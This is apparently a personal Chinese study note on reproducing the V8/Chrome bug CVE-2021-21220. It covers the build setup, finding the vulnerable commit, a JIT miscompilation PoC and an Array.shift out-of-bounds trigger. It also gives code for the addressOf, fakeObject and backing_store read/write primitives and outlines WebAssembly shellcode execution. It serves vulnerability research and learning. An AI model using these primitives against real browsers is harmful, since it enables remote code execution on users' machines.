tips:

标记为橙色的为不严谨,有待研究

Untitled

V8 漏洞利用之环境搭建

一、编译环境搭建

以下都出自这篇文章:https://zhuanlan.zhihu.com/p/493674086

更新软件列表、更新软件、安装依赖

1
2
3
4
5

sudo apt-get update
sudo apt-get upgrade

sudo apt install bison cdbs curl flex g++ git python vim pkg-config

安装depot_tools

1
2
3
4
5
6
mkdir /root/tools && cd /root/tools
git clone https://chromium.googlesource.com/chromium/tools/depot_tools.git /root/tools/depot_tools
echo 'export PATH=$PATH:"/root/tools/depot_tools"' >> /etc/profile
echo 'export PATH=$PATH:"/root/tools/depot_tools"' >> ~/.bashrc
source /etc/profile
source ~/.bashrc

安装ninja:

1
2
3
git clone https://github.com/ninja-build/ninja.git
cd ninja && ./configure.py --bootstrap && cd ..
echo 'export PATH=$PATH:"$(pwd)/ninja"' >> ~/.bashrc

下载v8

1
2
3
4
mkdir /root/v8 && cd /root/v8
fetch v8 #这个可能会花很长时间,取决于个人的网络环境,如果中断了则 gclient sync同步
cd v8
sudo ./build/install-build-deps.sh --no-chromeos-fonts # 在linux系统中这个命令是需要的

二、找漏洞版本commit

编译的话,需要找到漏洞版本的github的commit

受影响的Chrome最高版本为:89.0.4389.114受影响的V8最高版本为:8.9.255.24

方法一

https://omahaproxy.appspot.com

通过这个网站可以找漏洞版本的commit

Untitled_1

方法二

从漏洞的issue链接https://bugs.chromium.org/p/chromium/issues/detail?id=821137
找到修复的commit链接https://chromium.googlesource.com/v8/v8.git/+/b5da57a06de8791693c248b7aafc734861a3785d ,可以看到漏洞信息、存在漏洞的上一个版本(parent)、diff修复信息和漏洞poc

方法三

直接从github找commit

https://github.com/v8/v8/tags?after=8.9.255

三、编译

分了两个版本,一个是release,一个是debug

1
2
3
4
5
6
7
8
9
进入到v8目录,选择好要编译的commit(不然默认编译最新的)
git reset --hard 1dab065bb4025bdd663ba12e2e976c34c3fa6599
gclient sync # 同步更新
# 编译可执行文件 (二选一)
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
上面和下面是二选一
tools/dev/v8gen.py x64.relase
ninja -C out.gn/x64.relase d8

这里有个坑,就是,debug版本会有很多调试信息,release没有,并且,release不能使用v8的gdb脚本(如job命令),如果想要release能使用gdb脚本的话,需要执行完tools/dev/v8gen.py x64.release后在生成的 out.gn/x64.release/args.gn中追加

1
2
3
4
v8_enable_backtrace = true
v8_enable_disassembler = true
v8_enable_object_print = true
v8_enable_verify_heap = true

参考:https://www.cjovi.icu/CVE/1586.html

四、配置v8自带的gdb脚本,方便调试

v8自带了gdb调试脚本

Untitled_2

1.把v8/tools/gdbinit内容加到~/.gdbint里面

2.将v8/tools/gdb-v8-support.py放到一个目录(当前也行)

在~/.gdbint开头加入 source /自定义目录/gdb-v8-support.py

参考:https://paper.seebug.org/1821/

RCE的完整步骤

incorrect numeric (理解漏洞本身)

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
const _arr = new Uint32Array([2**31]);

function foo(a) {
var x = 1;
x = (_arr[0] ^ 0) + 1;

x = Math.abs(x);
x -= 2147483647;
x = Math.max(x, 0);

x -= 1;
if(x==-1) x = 0;

var arr = new Array(x);
arr.shift();
var cor = [1.1, 1.2, 1.3];

return [arr, cor];
}

https://paper.seebug.org/1850/

https://paper.seebug.org/1556/

那么 这个长度-1的数组有什么用呢??????,见下面 Array.shift

OOB (out-of-bounds memory access) 越界访问

abusing array bounds check elimination.

有历史沿革,之前是bounds-check elimination的问题,后来去掉了,但又有新的利用方式

利用Array.shift实现oob

https://bugs.chromium.org/p/chromium/issues/detail?id=1198696

而负长度被视为一个正的大长度,因此该数组允许访问任意 OOB 数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组
arr.shift();
let local_arr = Array(2);
console.log("现在长度"+arr.length)
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//byteLength idx=8
arr[0] = 0x1122; //
return [arr, local_arr, buff];
}

for (var i = 0; i < 0x10000; ++i)
foo(false);

gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
corrput_arr[12] = 0x22444;
delete corrput_arr;

通过上述漏洞,我们实现了一个长度为-1的数组arr(corrput_arr),-1扩展为无符号,就是0xffffffff,是一个很大的正数,从而可以实现越界读写,在此基础之上,进行后面的利用

1.获得了一个0xfffffff(-1长度)数组 arr(corrput_arr)

2.声明一个local_arr(rwarr),长度为2, 接着利用arr的oob,溢出修改它的长度为0x22444,也就是corrput_arr[12] = 0x22444; (或者说 arr[12] = 0x22444;) 这一位对应的是数组的长度

3.声明长度为0x1000的ArrayBuffer(corrupt_buff)

在2、3两步,我们能够得到一个数组和一个ArrayBuffer,但是我们还不能任意读写这个ArrayBuffer,一种实现方法是,通过corrput_arr的溢出,将rwarr的长度变长,覆盖到ArrayBuffer,于是我们就能够对他进行任意读写,从而实现对内存任意地址读写(其实是受限的,rwx)

为什么要强调ArrayBuffer呢?且看下面

疑问:从而实现对rwarr(local_arr)的跨界访问,为啥要这样呢?? 为啥不直接用arr

越界访问rwarr数组(实现可控的JSArrayBuffer)

这张图比较形象,我们现在可以越界访问的是corrupt_arr,然后新建了一个rwarr数组,那么可以越界访问,把rwarr的长度修改的大一点,对应代码 corrput_arr[12] = 0x22444;

那么为什么数组的第13位是代表着它的长度呢?这个具体原理方法在参考博客里,和它的数据结构有关.

Untitled_3

越界访问corrupt_buff(实现任意地址读写)

http://www.hackdig.com/03/hack-70813.htm

背景知识:什么是backing_store? 对漏洞利用有什么用?

backing_store指向初始化JSArrayBuffer时用户申请大小的堆,如果我们控制了一个JSArrayBuffer相当于一个指针和指针的内容可以同时改写。这样我们改写backing_store读取控制的JSArrayBuffer的内容就是任意地址读;我们改写backing_store修改控制的JSArrayBuffer的内容就是任意地址写。

如果我们将这个backing_store指针修改为我们想要写入的内存地址,那么我们再调用view.setUint32(0, poc, true) 类似指令时,实际上就是向指定内存地址处写入了poc,从而达到任意地址写。

任意地址写(通过伪造backing_store)

1
2
3
4
function setbackingStore(hi, low) {
rwarr[4] = i2f(fLow(rwarr[4]), hi);
rwarr[5] = i2f(low, fHi(rwarr[5]));
}

从corrupt_buff中声明一个Dataview,而backing_store记录的就是实际DataView的内存地址。如果我们将这个backing_store指针修改为我们想要写入的内存地址,那么我们再调用view.setUint32(0, poc, true) 类似指令时,实际上就是向指定内存地址处写入了poc,从而达到任意地址写。

那么我们已经可以利用rwarr实现对corrupt_buff的任意读写,即可以任意修改backing_store.

任意地址读(类型混淆)

1
2
3
4
function leakObjLow(o) {
corrupt_buff.slot = o;
return (fLow(rwarr[9]) - 1);
}

leakObjLow函数使用corrupt_buff的slot属性,修改该属性为某一对象o,那么o的地址就会被写入到corrupt_buff所在的内存区间中,然后利用rwarr的溢出访问该值,实现泄露。

这里是不是用了类型混淆??

利用oob造成类型混淆,那怎么利用呢?

那出现类型混淆怎么利用呢?举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。

https://www.freebuf.com/vuls/203721.html

addressOf 泄露某个对象的内存地址

1
2
3
4
5
6
7
8
9
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}

fakeObject 将指定内存强制转换为一个js对象(有什么用呢?)

1
2
3
4
5
6
7
8
9
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}

如何实现任意地址读写:构造AAR/AAW原语

https://paper.seebug.org/1821/#wasm

fakeObject强制将一块内存伪造成一个数组对象??? 它的elements 指针是可控的,而这个指针指向了存储数组元素内容的内存地址。如果我们将这个指针修改为我们想要访问的内存地址,那后续我们访问这个数组对象的内容,实际上访问的就是我们修改后的内存地址指向的内容,这样也就实现了对任意指定地址的内存访问读写效果了。

哦哦哦因为可以任意访问,把这个当成一个数组对象了,那么对这个数组,我们是可以任意读取和修改的????

wasm(webassembly) 实现执行shellcode

https://paper.seebug.org/1821/#wasm

https://www.freebuf.com/vuls/203721.html

简单来说,wasm就是可以让JavaScript直接执行高级语言生成的机器码的一种技术。

https://sensepost.com/blog/2018/introduction-to-webassembly/

利用思路

首先加载一段wasm代码到内存中
然后通过addresssOf原语找到存放wasm的内存地址
接着通过任意地址写原语用shellcode替换原本wasm的代码内容
最后调用wasm的函数接口即可触发调用shellcode

参考资料

漏洞复现参考

https://blog.csdn.net/m0_56642842/article/details/118358830 这个就是教你怎么复现,不涉及原理

https://www.cnblogs.com/7omss/p/15661338.html + 1

exploit:https://share.weiyun.com/EXlNm02A

浏览器:https://share.weiyun.com/fZLcxFe9

漏洞分析、调试及RCE步骤参考

https://zhuanlan.zhihu.com/p/365297858

https://blog.csdn.net/smellycat000/article/details/116078164

https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce

https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/

https://github.com/security-dbg/CVE-2021-21220/blob/main/exploit.js

https://buaq.net/go-97833.html

https://ruan777.github.io/2022/01/18/chrome-cve-2021-21220分析/

https://github.com/Bounty-Team/Bounty-Team.github.io/blob/e0f717119de0c8a46aef0bde3e2bf2a4a9fe71bc/_posts/2021-04-16-CVE-2021-21220.md

https://www.zerodayinitiative.com/blog/2021/12/15/exploitation-of-cve-2021-21220-from-incorrect-jit-behavior-to-rce

https://github.com/singularseclab/Slides/blob/main/2021/chrome_exploitation-zer0con2021.pdf

https://www.sohu.com/a/383228797_354899

https://bounty-team.github.io/vulnerability analysis/2021/04/16/CVE-2021-21220/

https://www.freebuf.com/vuls/269629.html

https://www.cjovi.icu/CVE/1586.html

https://xz.aliyun.com/t/5190v8 exploit入门[PlaidCTF roll a d8]

https://gtoad.github.io/2019/07/25/V8-Debug/ V8引擎漏洞分析环境与调试方法基础

https://paper.seebug.org/1850/ 从 0 开始学 V8 漏洞利用之 CVE-2021-21220(八)

https://www.freebuf.com/vuls/230182.htmlv8利用入门:从越界访问到RCE

https://www.freebuf.com/vuls/203721.html

https://www.cjovi.icu/CVE/1586.html

https://tiszka.com/blog/CVE_2021_21225.html

https://kiprey.github.io/2021/01/v8-turboFan/